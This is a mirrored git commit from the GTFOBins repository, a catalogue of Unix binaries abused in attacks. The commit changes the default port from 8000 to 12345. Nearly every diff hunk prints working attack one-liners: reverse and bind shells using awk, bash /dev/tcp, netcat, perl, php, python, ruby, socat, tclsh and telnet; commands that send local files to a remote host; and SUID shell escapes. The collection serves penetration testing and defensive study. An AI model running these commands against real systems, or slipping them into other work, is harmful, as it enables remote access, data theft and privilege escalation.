mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Replace default port number with 12345
This commit is contained in:
parent
793cd12812
commit
0a5168dc9a
@ -7,18 +7,18 @@ functions:
|
|||||||
suid-limited:
|
suid-limited:
|
||||||
- code: ./awk 'BEGIN {system("/bin/sh -p")}'
|
- code: ./awk 'BEGIN {system("/bin/sh -p")}'
|
||||||
reverse-shell-non-interactive:
|
reverse-shell-non-interactive:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
|
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
|
||||||
s = "/inet/tcp/0/" RHOST "/" RPORT;
|
s = "/inet/tcp/0/" RHOST "/" RPORT;
|
||||||
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
||||||
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
||||||
bind-shell-non-interactive:
|
bind-shell-non-interactive:
|
||||||
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
|
- description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
LPORT=8000
|
LPORT=12345
|
||||||
awk -v LPORT=$LPORT 'BEGIN {
|
awk -v LPORT=$LPORT 'BEGIN {
|
||||||
s = "/inet/tcp/" LPORT "/0/0";
|
s = "/inet/tcp/" LPORT "/0/0";
|
||||||
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
||||||
|
@ -10,32 +10,32 @@ functions:
|
|||||||
- description: Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file on the other end.
|
- description: Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
|
echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
|
||||||
- description: Send local file using a TCP connection. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end.
|
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
cat $LFILE > /dev/tcp/$RHOST/$RPORT
|
cat $LFILE > /dev/tcp/$RHOST/$RPORT
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
LFILE=file_to_get
|
LFILE=file_to_get
|
||||||
(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
|
(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
|
||||||
- description: Fetch remote file using a TCP connection. Run `nc -l -p 8000 < "file_to_send"` to send the file from the other end.
|
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` to send the file from the other end.
|
||||||
code: |-
|
code: |-
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
LFILE=file_to_get
|
LFILE=file_to_get
|
||||||
cat < /dev/tcp/$RHOST/$RPORT > $LFILE
|
cat < /dev/tcp/$RHOST/$RPORT > $LFILE
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
|
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
|
||||||
---
|
---
|
||||||
|
@ -2,27 +2,27 @@
|
|||||||
functions:
|
functions:
|
||||||
upload:
|
upload:
|
||||||
- description: |
|
- description: |
|
||||||
Send a file to a TCP port. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end.
|
Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
nc $RHOST $RPORT < "$LFILE"
|
nc $RHOST $RPORT < "$LFILE"
|
||||||
download:
|
download:
|
||||||
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 8000 < "file_to_send"` to send the file from the other end.
|
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 12345 < "file_to_send"` to send the file from the other end.
|
||||||
code: |-
|
code: |-
|
||||||
LPORT=8000
|
LPORT=12345
|
||||||
LFILE=where_to_save
|
LFILE=where_to_save
|
||||||
nc -l -p $LPORT > "$LFILE"
|
nc -l -p $LPORT > "$LFILE"
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
nc -e /bin/sh $RHOST $RPORT
|
nc -e /bin/sh $RHOST $RPORT
|
||||||
bind-shell:
|
bind-shell:
|
||||||
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
|
- description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
LPORT=8000
|
LPORT=12345
|
||||||
nc -l -p $LPORT -e /bin/sh
|
nc -l -p $LPORT -e /bin/sh
|
||||||
---
|
---
|
||||||
|
@ -7,9 +7,9 @@ functions:
|
|||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./perl -e 'exec "/bin/sh";'
|
- code: ./perl -e 'exec "/bin/sh";'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=10.0.0.1
|
export RHOST=10.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=12345
|
||||||
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||||
---
|
---
|
@ -32,9 +32,9 @@ functions:
|
|||||||
export LFILE=file_to_get
|
export LFILE=file_to_get
|
||||||
php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);'
|
php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=127.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=12345
|
||||||
php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'
|
php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||||
---
|
---
|
@ -23,10 +23,10 @@ functions:
|
|||||||
export LFILE=file_to_get
|
export LFILE=file_to_get
|
||||||
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end.
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=127.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=12345
|
||||||
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
||||||
load-library:
|
load-library:
|
||||||
- code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
- code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
||||||
|
@ -23,10 +23,10 @@ functions:
|
|||||||
export LFILE=file_to_get
|
export LFILE=file_to_get
|
||||||
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
|
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end.
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=127.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=12345
|
||||||
python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
||||||
load-library:
|
load-library:
|
||||||
- code: python3 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
- code: python3 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
||||||
|
@ -10,10 +10,10 @@ functions:
|
|||||||
export LPORT=8888
|
export LPORT=8888
|
||||||
ruby -run -e httpd . -p $LPORT
|
ruby -run -e httpd . -p $LPORT
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=10.0.0.1
|
export RHOST=10.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=12345
|
||||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
load-library:
|
load-library:
|
||||||
- code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
|
- code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
|
||||||
|
@ -1,9 +1,9 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end.
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
|
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
|
||||||
---
|
---
|
@ -13,9 +13,9 @@ functions:
|
|||||||
./tclsh
|
./tclsh
|
||||||
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
||||||
reverse-shell-non-interactive:
|
reverse-shell-non-interactive:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=10.0.0.1
|
export RHOST=10.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=12345
|
||||||
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
|
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
|
||||||
---
|
---
|
@ -9,10 +9,10 @@ functions:
|
|||||||
^]
|
^]
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=12345
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
rm $TF
|
rm $TF
|
||||||
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF
|
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF
|
||||||
|
Loading…
Reference in New Issue
Block a user